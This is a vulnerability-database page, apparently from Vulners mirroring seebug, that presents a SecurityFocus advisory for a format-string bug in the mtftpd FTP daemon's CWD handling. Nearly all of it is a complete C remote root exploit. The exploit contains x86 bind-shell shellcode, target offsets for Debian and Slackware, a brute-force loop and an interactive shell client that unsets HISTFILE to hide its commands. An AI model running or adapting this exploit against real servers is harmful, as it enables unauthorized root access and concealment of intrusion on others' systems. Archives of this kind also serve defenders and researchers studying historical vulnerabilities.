Lucene search
K

YepYep MTFTPD 0.2/0.3 - Remote CWD Argument Format String Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Remote CWD Argument Format String Vulnerability in mtftpd 0.2/0.

Code

                                                source: http://www.securityfocus.com/bid/12947/info

mtftpd is reported prone to a remote format string vulnerability.

Reports indicate that this issue may be exploited by a remote authenticated attacker to execute arbitrary code in the context of the vulnerable service.

This vulnerability is reported to affect mtftpd versions up to an including version 0.0.3. 

/*
 * Remote root exploit against mtfptd daemon <= 0.0.3 ( wow! )
 * http://mtftpd.sourceforge.net/ <- ALPHA RELEASE !
 * There is a format bug in the log_do() function ( log.c )
 * patch: - syslog(prd, buf); + syslog(prd, "%s", buf);
 * Maybe there are other bugs in the code (lots of strcpy) but this was
 * the funniest.
 *
 * I've seen some ppl posting useless, code-ripped, not working, 
 * lame exploits for rare daemons or tools so I decided to write 
 * my own oneday, useless, lame exploit (with ripped code naturally)
 * to post it somewhere just for fun and "glory", that's the leeto way 
 * nowadays it seems.
 * 
 * ugh! I think I'm out of date because I didn't manage to write a banner 
 * longer than the code itself. And yes, I've got time to waste...
 * 
 * kisses 2 tankie - greets: sorbo, arcangelo, jestah
 * by gunzip@ircnet - mailto: <[email protected]>
*/

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <getopt.h>

int shell ( u_long ip );
void usage( char * a );
int die (char * error);
void handle_timeout( int s );
u_long res( char * fqhn );
int connect_to_host ( unsigned long ip , int port );
int answer( char * buf, unsigned int size, FILE * file );

char * mk_fmt_string(   unsigned int align,
                        unsigned int offset,
                        unsigned long retloc,
                        unsigned long retaddr,
                        int written );

#define ELITEBANNER 	"\nlinux/x86 mtftpd <= 0.0.3 remote root exploit by gunzip\n\n"
#define COMMAND		"unset HISTFILE; echo; uname -a; id;\n"
#define BUFSIZE		1024
#define NOP		0x41

static __inline__ void * _xmalloc(size_t size, char *function, int line) {
        void * temp;
        temp = (void *)malloc( size );
        if (!temp) {
                fprintf(stderr,"Malloc failed at [%s:%d]",function, line);
                exit(-1);
        }
	else { memset( temp, 0, size ); return( temp );
	}
}

#define xmalloc(a)      _xmalloc(a, __FUNCTION__, __LINE__)

char bind_code[]= /* ripped from www.netric.org, hi eSDee */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51\xb1\x01"
"\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51"
"\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51\x50\x8d"
"\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3\x01\x53\x52\x8d\x0c\x24\x31"
"\xc0\xb0\x66\x80\xc3\x03\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

struct targ 		{
        char * name             ;
        u_int stackpops         ;
        u_int align             ;
        unsigned char * code    ;
        u_long retloc           ;
        u_long retaddr          ;
	u_int written 		;
};
/* 
 * to get retloc objdump -R /usr/local/bin/mtftpd | grep write 
 * to get retaddr align and stackpops compile with -DDEBUG 
 * and play with gdb and syslog messages if you got time to waste... 
*/
struct targ tg[]= {
        { "Debian Woody 3.0 from sources (mtftpd-0.0.3.tar.gz)", 18, 0, 
		bind_code, 0x0804f324, 0xbffffba4, 36 },
	{ "Slackware 8.1 from sources (mtftpd-0.0.3.tar.gz)", 18, 0,
		bind_code, 0x0804f2e4, 0xbffff684, 36 },
	{ NULL, 0, 0, NULL, 0, 0 }
}; 

int main(int argc, char *argv[])
{
	u_long 	ip, brute = 0x0 ;
	u_short port = 21 ;

	char * user 	= "ftp";
	char * pass 	= "ftp@";
	char * victim 	= "127.0.0.1";

	int 	opt, len, sock, t = 0 ;

	char 	buf[ BUFSIZE ],
		nopcode[ BUFSIZE ];

	char * 	evil = (char *)xmalloc( 10000 );
	FILE * 	sockf = NULL ;

	fprintf( stderr, ELITEBANNER );
	if ( argc < 2 ) { usage( argv[0] ); exit(-1); }

        while ((opt = getopt(argc, argv, "b:u:p:w:g:P:n:a:r:hv:t:")) != EOF) {
                switch(opt)
                {
			case 'b': brute = strtoul(optarg,NULL,16); break;
			case 't': t = atoi(optarg); break;
			case 'v': victim = strdup( optarg ); break;
			case 'u': user = strdup( optarg ); break;
			case 'p': pass = strdup( optarg ); break;
                        case 'w': tg[t].written = atoi(optarg); break;
                        case 'g': tg[t].retloc = strtoul(optarg,NULL,16); break;
                        case 'P': port = atoi(optarg); break;
                        case 'n': tg[t].stackpops = atoi(optarg); break;
                        case 'a': tg[t].align = atoi(optarg); break ;
                        case 'r': tg[t].retaddr = strtoul(optarg,NULL,16); break;
                        case 'h':
                        default : usage( argv[0] ); exit( -1 ); break ;
                }
        }

	fprintf( stderr, "[+] Using target %s\n", tg[ t ].name ); 

	if ( (ip = res( victim )) == -1 )	
		die( "Bad hostname or ip." );
 
	do {
		if ( (sock = connect_to_host( ip, port )) > 0 ) {
			sockf = fdopen ( sock, "a+" );
			if ( fdopen == NULL ) die( "fdopen failed." );
		}
		else die( "Cannot connect to host." );

		fprintf( stderr, "[+] Trying to log in...\n");

        	answer( buf, BUFSIZE, sockf );
		fprintf( sockf, "USER %s\r\n", user);
        	answer( buf, BUFSIZE, sockf );
		fprintf( sockf, "PASS %s\r\n", pass);
        	answer( buf, BUFSIZE, sockf );

		if ( strstr( buf, "logged in" ) == NULL )
			die( "Cannot log in, wrong user/pwd ?" );
		else 
			fprintf( stderr, "[+] Doing the actual exploit...\n");

		fprintf( sockf, "CWD /\r\n" );
		answer( buf, BUFSIZE, sockf );

		fprintf( sockf, "CWD " );

		evil = mk_fmt_string( 	tg[ t ].align,				
                       	      		tg[ t ].stackpops,
			      		tg[ t ].retloc, 
                              		brute ? brute : tg[ t ].retaddr,
                              		tg[ t ].written
		);
		/*
 	 	 * I think shellcode can be placed elsewhere but I didn't check it
		 */
		len = 256 - strlen( "CWD " ) - strlen( tg[t].code ) - strlen( evil ) - 4;
		memset( nopcode, NOP, len );	
		nopcode[ len ] = 0 ;
		/*
	 	 * length of command line can't be more than 256 chars 
	 	 * because server checks it.. 
		 */
		fprintf( stderr, "[+] Using written=%d align=%d retaddr=0x%.08x retloc=0x%.08x nops=%d\n", 
		tg[t].written, tg[t].align, brute ? (u_int)brute : (u_int)tg[t].retaddr, (u_int)tg[t].retloc, len );

		fprintf( sockf, "%s", evil );
		fprintf( sockf, "%s", nopcode );
		fprintf( sockf, "%s", tg[t].code );
		fprintf( sockf, "\r\n" );
		fprintf( sockf, "QUIT\r\n" );
		if ( brute ) brute -= len ;
		fclose( sockf );
		close( sock );
		sleep( 1 );
	}
	while (( shell( ip ) == -1 ) && ( brute > 0xbffff000 ));
		
	fprintf( stderr, "[-] Bye\n");
	return( 0xc1a0 );
}

void handle_timeout(int sig)
{
	die( "Timeouted." );
}
int die (char * error) 
{
        fprintf(stderr, "[-] %s\n",error);
        exit( -1 );
}
u_long res(char *p) 
{
	struct hostent *	h;
   	unsigned long int 	rv;

   	if ( (rv=inet_addr(p)) != -1 ) return rv;
   	if( (h=gethostbyname(p)) != NULL )  {
        	memcpy( &rv,h->h_addr,h->h_length );
        	return ( rv );
   	}    
   	return( -1 );
}
int connect_to_host ( unsigned long ip , int port ) {
	int 			sockfd ;
  	struct sockaddr_in 	sheep ;

  	if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  		return(-1);

  	sheep.sin_family = AF_INET;
  	sheep.sin_addr.s_addr = ip ;
  	sheep.sin_port = htons (port);

  	signal(SIGALRM,handle_timeout); alarm( 10 );
  
  	if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 )
		return(-1);
  
  	alarm( 0 ); signal(SIGALRM,SIG_DFL);
  	return(sockfd);
}
int answer( char * buf, unsigned int size, FILE * file ) 
{
        static int count = 1 ;
        usleep( 1000 );
        memset( buf, 0, size );
        fgets( buf, size, file );
        return ( fprintf( stderr, "\033[32m[%d]: %s\033[0m", count++, buf ) );
}
void usage( char * a ) 
{
	int i ;
	fprintf( stderr, "Usage: %s -v victim [options]\n\n"
	"-v\tvictim ip or fqhn\n"
	"-u\tuser\n"
	"-p\tpassword\n"
	"-b\tbase retaddr for bruteforcing (ie. 0xbffffd90)\n"
        "-P\tport to connect to (default 21)\n"
        "-t\tone of the predefined targets\n"
        "-a\talign [0-3]\n"
        "-w\tnumbers of bytes already written\n"
        "-n\tnumber of stackpops (should be right)\n"
        "-r\treturn address (shellcode address)\n"
        "-g\taddress to be overwritten\n\n", a );
 	for (i = 0 ; tg[ i ].name ; i++ ) 
		fprintf ( stderr, "%d - %s\n",i,tg[ i ].name);
 	printf("\n");
}
int shell( u_long ip )
{
        int fd;
        int rd ;
        fd_set rfds;
        static char buff[ 1024 ];

        fprintf(stdout,"[+] Checking if exploit worked\n");

        if ( (fd=connect_to_host( ip, 30464 )) == -1 ) {
                fprintf( stderr, "[-] Did not worked.\n");
		return( -1 );
	}
        write(fd, COMMAND, strlen( COMMAND ));

        while(1) {
                FD_ZERO( &rfds );
                FD_SET(0, &rfds);
                FD_SET(fd, &rfds);

                if(select(fd+1, &rfds, NULL, NULL, NULL) < 1)
                        return( 0 );

                if(FD_ISSET(0,&rfds)) {
                        if( (rd = read(0,buff,sizeof(buff))) < 1)
                                die("shell(): read from stdin");
                        if( write(fd,buff,rd) != rd)
                                die("shell(): write to sock");

                }
                if(FD_ISSET(fd,&rfds)) {
                        if( (rd = read(fd,buff,sizeof(buff))) < 1)
                                die("see you next time, bye.");
                        write(1,buff,rd);
                }
        }
}

/**
 ** some stuff behind here is ripped from scut's fmtlib
 ** other stuff from formatbuilder by
 ** Frederic "Pappy" Raynal and Samuel "Zorgon" Dralet 
 ** others are by me gunzip@ircnet       
**/

#define TOWCALC(rabyte,writtenc) ( \
        (((rabyte + 0x100) - (writtenc % 0x100)) % 0x100) < 10 ? \
                ((((rabyte + 0x100) - (writtenc % 0x100)) % 0x100) + 0x100) : \
                (((rabyte + 0x100) - (writtenc % 0x100)) % 0x100) \
        )

#define OCT( b0, b1, b2, b3, addr )  { \
             b0 = (addr >> 24) & 0xff; \
             b1 = (addr >> 16) & 0xff; \
             b2 = (addr >>  8) & 0xff; \
             b3 = (addr      ) & 0xff; \
}

char * mk_fmt_string( 	unsigned int align, 
			unsigned int offset, 
			unsigned long retloc, 
			unsigned long retaddr,
			int written )
{
	int  	tow0, tow1, tow2, tow3 ;
		
	char 	* addr = (char *)xmalloc(128);
	char 	* fmt = (char *)xmalloc(516);
        char 	* buf = (char *)xmalloc(1024);
        char 	* ptr = addr ;
        
	char 	b0, b1, b2, b3 ;
	
        OCT ( b0, b1, b2, b3, retloc );

        while (( align-- ) && (align < 16 ))
                *addr++ = 0x41 ;

	*addr++ = b3 + 0 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
	*addr++ = b3 + 1 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
	*addr++ = b3 + 2 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
	*addr++ = b3 + 3 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
	
	*addr++ = 0 ;
	
        OCT ( b0, b1, b2, b3, retaddr );
        
	tow3 = TOWCALC(b3, written);	written += tow3 ;
	tow2 = TOWCALC(b2, written);	written += tow2 ;
	tow1 = TOWCALC(b1, written);	written += tow1 ;
	tow0 = TOWCALC(b0, written);	
	
        snprintf(fmt,516,
#ifdef DEBUG
        "%%%dx|%%%d$08x|%%%dx|%%%d$08x|%%%dx|%%%d$08x|%%%dx|%%%d$08x|",
#else
        "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
#endif
                tow3,			offset,
                tow2,			offset + 1,
                tow1,			offset + 2,
                tow0,			offset + 3);
	
        snprintf(buf,1024,"%s%s",ptr,fmt);
	
	free(ptr);
	free(fmt);
        return(buf);
}
		/* http://members.xoom.it/gunzip */


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation